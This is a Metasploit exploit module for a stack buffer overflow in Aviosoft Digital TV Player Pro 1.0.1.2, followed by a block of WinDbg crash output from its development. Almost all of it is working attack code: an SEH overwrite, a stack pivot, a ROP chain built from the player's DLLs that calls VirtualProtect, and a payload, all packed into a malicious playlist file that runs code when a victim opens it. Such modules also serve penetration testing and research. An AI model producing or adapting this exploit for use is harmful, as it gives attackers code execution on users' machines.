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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::FILEFORMAT
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "Aviosoft Digital TV Player Professional 1.0 Stack Buffer Overflow",
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      'Description'    => %q{
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            This module exploits a vulnerability found in Aviosoft Digital TV Player
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          Pro version 1.x.  An overflow occurs when the process copies the content of a
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          playlist file on to the stack, which may result arbitrary code execution under
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          the context of the user.
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        },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'modpr0be',  #Initial discovery, poc
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          'sinn3r',    #Metasploit
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        ],
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      'References'     =>
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        [
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          ['OSVDB', '77043'],
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          ['EDB', '18096'],
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        ],
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      'Payload'        =>
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        {
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          'BadChars' => "\x00\x0a\x1a",
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          'StackAdjustment' => -3500,
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        },
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      'DefaultOptions'  =>
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        {
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          'EXITFUNC' => "seh",
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [
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            'Aviosoft DTV Player 1.0.1.2',
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            {
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              'Ret'    => 0x6130534a,  #Stack pivot (ADD ESP,800; RET)
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              'Offset' => 612,         #Offset to SEH
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              'Max'    => 5000         #Max buffer size
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            }
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          ],
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2011-11-09',
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      'DefaultTarget'  => 0))
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      register_options(
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        [
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          OptString.new('FILENAME', [false, 'The playlist name', 'msf.plf'])
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        ])
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  end
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  def junk(n=1)
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    return [rand_text_alpha(4).unpack("L")[0]] * n
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  end
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  def nops(rop=false, n=1)
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    return rop ? [0x61326003] * n : [0x90909090] * n
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  end
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  def exploit
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    rop = [
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      nops(true, 10),  #ROP NOP
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      0x6405347a,      #POP EDX # RETN (MediaPlayerCtrl.dll)
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      0x10011108,      #ptr to &VirtualProtect
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      0x64010503,      #PUSH EDX # POP EAX # POP ESI # RETN (MediaPlayerCtrl.dll)
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      junk,
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      0x6160949f,      #MOV ECX,DWORD PTR DS:[EDX] # POP ESI (EPG.dll)
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      junk(3),
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      0x61604218,      #PUSH ECX # ADD AL,5F # XOR EAX,EAX # POP ESI # RETN 0C (EPG.dll)
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      junk(3),
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      0x6403d1a6,      #POP EBP # RETN (MediaPlayerCtrl.dll)
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      junk(3),
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      0x60333560,      #& push esp #  ret 0c (Configuration.dll)
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      0x61323EA8,      #POP EAX # RETN (DTVDeviceManager.dll)
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      0xA13977DF,      #0x00000343-> ebx
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      0x640203fc,      #ADD EAX,5EC68B64 # RETN (MediaPlayerCtrl.dll)
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      0x6163d37b,      #PUSH EAX # ADD AL,5E # POP EBX # RETN (EPG.dll)
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      0x61626807,      #XOR EAX,EAX # RETN (EPG.dll)
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      0x640203fc,      #ADD EAX,5EC68B64 # RETN (MediaPlayerCtrl.dll)
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      0x6405347a,      #POP EDX # RETN (MediaPlayerCtrl.dll)
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      0xA13974DC,      #0x00000040-> edx
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      0x613107fb,      #ADD EDX,EAX # MOV EAX,EDX # RETN (DTVDeviceManager.dll)
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      0x60326803,      #POP ECX # RETN (Configuration.dll)
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      0x60350340,      #&Writable location
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      0x61329e07,      #POP EDI # RETN (DTVDeviceManager.dll)
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      nops(true),      #ROP NOP
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      0x60340178,      #POP EAX # RETN
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      nops,            #Regular NOPs
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      0x60322e02       #PUSH # RETN
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    ].flatten.pack("V*")
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    buf  = ''
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    buf << rand_text_alpha(target['Offset']-buf.length)
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    buf << [target.ret].pack('V*')
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    buf << rand_text_alpha(136)
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    buf << rop
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    buf << make_nops(32)
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    buf << payload.encoded
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    buf << rand_text_alpha(target['Max']-buf.length)
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    file_create(buf)
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  end
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end
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=begin
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eax=00001779 ebx=047a02c0 ecx=000001f4 edx=047a6814 esi=047a77bc edi=00130000
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eip=6400f6f0 esp=0012f038 ebp=00000001 iopl=0         nv up ei pl nz na pe nc
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cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
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MediaPlayerCtrl!DllCreateObject+0x220:
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6400f6f0 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
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0:000> !exchain
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0012f3bc: *** WARNING: Unable to verify checksum for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\DTVDeviceManager.dll
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*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\DTVDeviceManager.dll -
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DTVDeviceManager+534a (6130534a)
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Invalid exception stack at 41414141
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0:000> !address edi
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    00130000 : 00130000 - 00003000
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                    Type     00040000 MEM_MAPPED
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                    Protect  00000002 PAGE_READONLY
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                    State    00001000 MEM_COMMIT
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                    Usage    RegionUsageIsVAD
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0:000> !address esi
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    047a0000 : 047a0000 - 0000b000
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                    Type     00020000 MEM_PRIVATE
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                    Protect  00000004 PAGE_READWRITE
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                    State    00001000 MEM_COMMIT
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                    Usage    RegionUsageHeap
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                    Handle   013c0000
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=end
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